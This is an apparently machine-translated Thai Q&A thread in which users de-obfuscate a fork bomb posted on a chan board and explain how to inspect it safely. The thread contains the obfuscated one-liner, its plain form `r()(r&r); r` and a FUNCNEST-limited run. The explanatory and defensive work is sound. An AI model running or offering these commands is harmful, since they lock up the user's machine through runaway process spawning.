ทำไมข้อความนี้ถึงแยกเป็นส้อม?


129

พบได้ใน chan board แบบสุ่ม:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

การดำเนินการนี้จะส่งผลให้เกิดกระบวนการวางไข่อย่างไม่มีที่สิ้นสุดซึ่งอาละวาดและบดขยี้เครื่องให้หยุดชะงัก ฉันเห็นบางอย่างเกี่ยวกับ "su" พยายามที่จะถูกประหารชีวิตหลายครั้ง

.. ซึ่งแปลกเพราะฉันแค่คาดหวังว่าข้อความจะออกไม่ดำเนินการอะไร

การเรียกใช้ข้อความนี้ผ่านตัวถอดรหัสออนไลน์จะให้ไบนารีของ spew เป็นชุด:

uudecode result

ความยุ่งเหยิงของข้อความนี้เกิดขึ้นจริงและมีวิธี "ดู" อย่างปลอดภัยหรือไม่?


ทำไม "su" ถึงถูกดำเนินการหลายครั้ง?
Brent Washburne

34
คำแนะนำ: อย่าเรียกใช้โค้ดจากกระดาน chan แบบสุ่มและรู้สึกซาบซึ้งว่าเป็นเพียงการวางระเบิด
rr-

19
หึ โชคดีที่ฉันได้ทำ VM snapshotted เพื่อจุดประสงค์ในการเล่นกับขยะที่เป็นมิตรแบบนี้
Mikey T.K.

ฉันรู้ว่านี่เป็นหัวข้อนอก แต่เป็นไปได้หรือไม่ที่จะพูดถึงกระดานและบริบทที่คำสั่งถูกกล่าวถึง
Sebi

คำตอบ:


188

ก่อนอื่นมาดูคำสั่งทั้งหมด:

echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode

มันมีสตริงที่ยกมาสองครั้งที่ได้รับการสะท้อนไป uudecode. แต่โปรดทราบว่าภายในสตริงที่มีเครื่องหมายคำพูดคู่คือ กลับคำพูด เชือก สตริงนี้ได้รับ ดำเนินการ . สตริงคือ:

`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`

หากเราดูว่ามีอะไรอยู่ในนั้นเราจะเห็นสามคำสั่ง:

rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r

การแสดง รั้งการขยายตัว ในคำสั่งกลางเรามี:

rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r

บรรทัดแรกพยายามเรียกใช้คำสั่งไร้สาระในพื้นหลัง สิ่งนี้ไม่สำคัญ

บรรทัดที่สองมีความสำคัญ: มันกำหนดฟังก์ชั่น r ซึ่งเมื่อเรียกใช้จะเปิดตัวสำเนาสองชุด แน่นอนว่าแต่ละชุดจะเปิดตัวอีกสองชุด และอื่น ๆ

บรรทัดที่สามวิ่ง rเริ่มระเบิดส้อม

ส่วนที่เหลือของรหัสด้านนอกของสตริงที่ยกมาด้านหลังเป็นเพียงเรื่องไร้สาระสำหรับ obfuscation

วิธีรันคำสั่ง อย่างปลอดภัย

รหัสนี้สามารถทำงานได้อย่างปลอดภัยหากเราตั้งค่าขีด จำกัด ระดับการซ้อนฟังก์ชัน ซึ่งสามารถทำได้ด้วย bash's FUNCNEST ตัวแปร. ที่นี่เราตั้งเป็น 2 และสิ่งนี้จะหยุดการสอบถามซ้ำ:

$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line

ข้อความแสดงข้อผิดพลาดด้านบนแสดงว่า (a) คำสั่งไร้สาระ rYWdl และ Y29j ไม่พบ (b) fork fork ถูกหยุดซ้ำ ๆ โดย FUNCNEST และ (c) เอาต์พุตของ echo ไม่ได้เริ่มต้นด้วย begin และดังนั้นจึงเป็นข้อมูลที่ไม่ถูกต้องสำหรับ uudecode.

ส้อมระเบิดในรูปแบบที่ง่ายที่สุด

ระเบิดส้อมจะมีลักษณะอย่างไรถ้าเราลบความสับสนออกไป ตามที่ njzk2 และ gerrit แนะนำมันจะมีลักษณะดังนี้:

echo "`r()(r&r);r`"

เราสามารถทำให้มันง่ายขึ้นไปอีก:

r()(r&r); r

ที่ประกอบด้วยสองข้อความ: หนึ่งกำหนด fork-bomb-function r และครั้งที่สองวิ่ง r.

รหัสอื่น ๆ ทั้งหมดรวมถึงไปป์ uudecodeมีเพียงเพื่อความสับสนและความผิดพลาด

แบบฟอร์มดั้งเดิมนั้นมีชั้นของการผิดทางอีกชั้นหนึ่ง

OP ได้จัดเตรียมไว้ ลิงค์ ไปยังกระดานสนทนาที่รหัสนี้ปรากฏขึ้น ตามที่แสดงไว้รหัสดูเหมือนว่า:

eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)

สังเกตเห็นหนึ่งในความคิดเห็นแรกเกี่ยวกับรหัสนี้:

ฉันตกหลุมรักมัน คัดลอกเฉพาะส่วนที่สะท้อนและถอดรหัส แต่ยัง   ถูกแยกออก

ในรูปแบบบนกระดานช่องทางหนึ่งคิดอย่างไร้เดียงสาว่าปัญหาจะเป็น eval คำสั่งปฏิบัติการบนผลลัพธ์ของ uudecode. สิ่งนี้จะนำไปสู่ความคิดที่ลบ eval จะแก้ปัญหา ดังที่เราได้เห็นด้านบนนี้เป็นเท็จและอันตรายดังนั้น


6
คดเคี้ยว! ฉันไม่เคยคิดที่จะพิจารณาการกลม / การขยายตัวของเปลือกหอยที่อยู่ตรงกลางของสตริงที่มีเสียงสะท้อน
Mikey T.K.

30
ฉันคิดว่ามันจะดีที่จะทราบว่า uudecode ไม่เกี่ยวข้องอย่างสมบูรณ์ที่นี่ ฉันคิดว่าสักครู่ uudecode กำลังดำเนินการแก้ไขสตริงที่อ้างถึงย้อนกลับซึ่งจะทำให้ไม่ปลอดภัยโดยพื้นฐาน แต่เกิด fork fork เกิดขึ้นก่อนที่ uudecode จะเริ่มเลย
gerrit

28
...และ นี้ ผู้หญิงและสุภาพบุรุษเป็นเหตุผลว่าทำไมความปลอดภัยในเชลล์สคริปต์จึงถูกสาปแช่งอย่างหนัก แม้แต่สิ่งที่ไม่มีอันตรายใด ๆ ก็สามารถฆ่าคุณได้ (ลองคิดดูว่านี่เป็นอินพุตของผู้ใช้จากที่ใดที่หนึ่ง ... )
MathematicalOrchid

22
@MathematicalOrchid จริง ๆ แล้วมันใช้ความพยายามแบบไม่ย่อท้อเพื่อทำให้สิ่งที่ backquoted ในอินพุตของผู้ใช้ไปยังเชลล์สคริปต์เพื่อดำเนินการ และถ้าคุณเป็น ก่อสร้าง เชลล์สคริปต์จากอินพุตของผู้ใช้คุณควรรู้ดีกว่าใส่ไว้ในเครื่องหมายคำพูดคู่
Random832

5
@ njzk2 คุณยังต้องการ & มี: echo "`r()(r&r);r`".
gerrit

10

วิธีตอบคำถามส่วนที่สองของคุณ:

... มีวิธี "ดู" อย่างปลอดภัยหรือไม่

เพื่อคลี่คลายสตริงนี้ แทนที่อัญประกาศคู่ด้านนอกด้วยอัญประกาศเดี่ยวและหลีกเลี่ยงอัญประกาศเดี่ยวที่เกิดขึ้นภายในสตริง เช่นนี้เชลล์จะไม่เรียกใช้รหัสใด ๆ และคุณก็ผ่านทุกอย่างไป uudecode:

$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;=='
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
$ echo 'I<RA('\''1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==' | uudecode
uudecode fatal error:
standard input: Invalid or missing 'begin' line

ทางเลือกอื่น ๆ ที่ระบุไว้ในความคิดเห็น:

แนะนำ kasperd :

$ uudecode
I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==
[press <Ctrl>+D]
uudecode fatal error:
standard input: Invalid or missing 'begin' line

จาค็อบครัลแนะนำ เพื่อใช้โปรแกรมแก้ไขข้อความวางเนื้อหาแล้วส่งไฟล์นั้นไปยัง uudecode


5
อีกทางเลือกหนึ่ง: พิมพ์ uudecode บนบรรทัดคำสั่ง กดปุ่มตกลง. คัดลอกวางสตริงที่จะถอดรหัส
kasperd

3
อีกทางเลือกหนึ่ง: ใช้โปรแกรมแก้ไขข้อความเพื่อบันทึกเนื้อหาลงในไฟล์ เปิดไฟล์นั้นด้วย uudecode.
Jacob Krall

ขอบคุณทั้งคู่ฉันได้สังเกตเห็นทางเลือกเหล่านั้นในคำตอบ
gerrit

1
ตรวจสอบให้แน่ใจว่าคุณตรวจสอบว่าสตริงไม่เหมือนกัน echo "foo`die`bar'`die`'baz" ครั้งแรก! นั่นคือถ้ามี ' มันอยู่แล้วแทนที่คำพูดด้วยคำพูดเดียวจะไม่เพียงพอ
wchargin

5

เพียงมองแวบแรกคุณอาจคิดว่า เอาต์พุตไปยังเชลล์จะไม่ถูกเรียกใช้งาน . นี่คือ ยังคงเป็นจริง . ปัญหามีอยู่แล้วใน อินพุต . เคล็ดลับหลักนี่คือสิ่งที่โปรแกรมเมอร์เรียก ลำดับความสำคัญของผู้ประกอบการ . นี่คือลำดับที่เชลล์พยายามประมวลผลอินพุตของคุณ:

1.       "                                                             "
2.                     rYWdl
3.                          &
4.                           r()(Y29j&r{,3Rl7Ig}&r{,T31wo})             
5.                                                         ;            
6.                                                          r           
7.                    `                                      `          
8.        I<RA('1E<W3t                                        26<F]F;== 
9.  echo                                                                
10.                                                                      |         
11.                                                                        uudecode
  1. เขียนสตริงโดยดำเนินการคำสั่ง backticks ทั้งหมดที่อยู่ภายใน
  2. มักจะเป็นคำสั่งที่ไม่รู้จักซึ่งจะทำให้เกิดผลลัพธ์บางอย่างเช่น หาก 'rYWdl' ไม่ใช่ตัวพิมพ์คุณสามารถใช้คำสั่งไม่พบเพื่อค้นหาแพ็คเกจที่มีมัน ... (ขึ้นอยู่กับระบบ)
  3. ดำเนินการ 2. ในพื้นหลัง คุณจะไม่เห็นผลลัพธ์
  4. กำหนดฟังก์ชั่นส้อมระเบิด
  5. ตัวคั่นคำสั่ง
  6. เรียกใช้ส้อมระเบิด
  7. แทรกผลลัพธ์ของ 6. ลงใน String (เราไม่เคยมาที่นี่)

ข้อผิดพลาดคือการคิดว่า echo จะเป็นคำสั่งแรกที่จะถูกดำเนินการ uudecode ที่สอง. ทั้งสองอย่างนั้นจะไม่สามารถเข้าถึงได้

สรุป: เครื่องหมายคำพูดคู่เป็นสิ่งที่อันตรายเสมอบนเปลือกหอย

โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.